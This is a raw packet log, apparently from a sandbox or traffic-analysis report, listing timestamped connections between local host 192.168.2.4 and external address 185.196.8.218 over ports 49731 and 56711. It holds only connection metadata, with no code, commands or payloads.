Dec 27, 2024 09:09:11.444972038 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.444983959 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445060015 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.445069075 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445081949 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445095062 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445106983 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445118904 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445126057 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.445132017 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445144892 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445200920 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.445200920 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.445610046 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445622921 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445636034 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445647955 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445652962 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.445660114 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445672989 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445719004 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.445719004 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.445977926 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445997000 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.446007967 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.446018934 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.446032047 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.446043968 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.446049929 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.446049929 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.446057081 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.446069956 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.446101904 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.446101904 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.446125984 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.446140051 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.446150064 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.446163893 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.446168900 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.446176052 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.446213961 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.446225882 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.446225882 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.446225882 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.446861982 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.447061062 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447074890 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447088003 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447099924 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447110891 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447110891 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.447123051 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447134018 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447146893 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447163105 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447174072 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.447174072 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.447175980 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447187901 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447201014 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447212934 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447225094 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447236061 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447249889 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.447293043 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.447293043 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.447983980 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447997093 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.448016882 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.448054075 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.448065042 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.448076010 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.448076010 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.448076010 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.448088884 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.448101997 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.448115110 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.448127031 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.448143959 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.448143959 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.448203087 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.449095011 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.449106932 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.449119091 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.449131012 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.449145079 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.449156046 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.449167967 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.449178934 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.449192047 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.449206114 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.449208975 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.449208975 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.449270010 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.449815035 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.449827909 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.449840069 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.449860096 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.449873924 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.449879885 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.449886084 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.449889898 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.449899912 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.449939013 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.449939013 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.449995041 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.450007915 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.450020075 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.450032949 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.450046062 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.450058937 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.450072050 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.450083971 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.450090885 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.450090885 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.450225115 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.450748920 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.450777054 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.450790882 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.450803041 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.450824022 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.450831890 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.450886011 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.450921059 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.450934887 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.450946093 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.450957060 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.450961113 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.450968981 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.450982094 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.450997114 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.451009035 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.451020002 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.451025009 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.451033115 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.451045036 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.451092958 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.451217890 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.451744080 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.451759100 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.451770067 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.451812029 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.451982975 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.451996088 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.452011108 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.452023029 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.452024937 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.452037096 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.452049971 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.452061892 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.452071905 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.452075005 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.452119112 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.452136993 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.452147961 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.452157974 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.452157974 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.452161074 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.452173948 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.452186108 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.452197075 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.452209949 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.452210903 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.452210903 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.452284098 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.453043938 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.453057051 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.453068972 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.453079939 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.453093052 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.453104973 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.453115940 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.453116894 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.453116894 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.453129053 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.453145981 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.453157902 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.453166008 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.453177929 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.453188896 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.453201056 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.453208923 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.453208923 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.453212976 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.453246117 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.453246117 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.454049110 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.454061031 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.454072952 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.454086065 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.454097033 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.454108000 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.454119921 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.454128981 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.454133034 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.454145908 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.454159021 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.454173088 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.454184055 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.454191923 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.454191923 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.454196930 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.454210997 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.454225063 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.454233885 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.454233885 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.454237938 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.454282045 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.454320908 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.454809904 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.454823017 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.454834938 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.454864025 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.455038071 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.455055952 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.455060959 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.455066919 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.455069065 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.455080032 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.455138922 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.455146074 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.455158949 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.455171108 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.455183983 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.455195904 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.455209017 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.455219984 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.455230951 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.455231905 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.455241919 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.455262899 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.571870089 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.572069883 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.572135925 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.572351933 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.572374105 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.572412014 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.573208094 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.573276997 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.573316097 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.574069977 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.574158907 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.574213982 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.574958086 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.575089931 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.575129986 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.575853109 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.575917006 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.576004982 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.576673031 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.576713085 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.576766014 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.577529907 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.577624083 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.577681065 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.578387022 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.578525066 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.578574896 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.579260111 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.579299927 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.579339981 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.580101967 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.580230951 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.580321074 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.580954075 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.581057072 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.581135988 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.581815958 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.581944942 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.582070112 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.582729101 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.582758904 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.582865000 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.583545923 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.583681107 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.583733082 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.584383011 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.584480047 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.584619045 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.585269928 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.585367918 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.585402012 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.586139917 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.586215973 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.586308956 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.586956978 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.587069988 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.587107897 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.587853909 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.587961912 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.588022947 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.588735104 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.588778019 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.588815928 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.589576006 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.589711905 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.589759111 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.590430021 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.590533018 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.590574026 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.591298103 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.591407061 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.591484070 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.592166901 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.592268944 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.592335939 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.593034983 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.593179941 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.593225002 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.593913078 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.594002008 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.594042063 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.594815016 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.594875097 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.595026016 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.595640898 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.595669031 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.595725060 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.596499920 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.596611023 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.596771002 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.597366095 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.597440958 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.597502947 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.598233938 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.598308086 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.598400116 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.599072933 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.599092960 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.599138021 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.599991083 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.600056887 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.600107908 CET	49731	56711	192.168.2.4	185.196.8.218
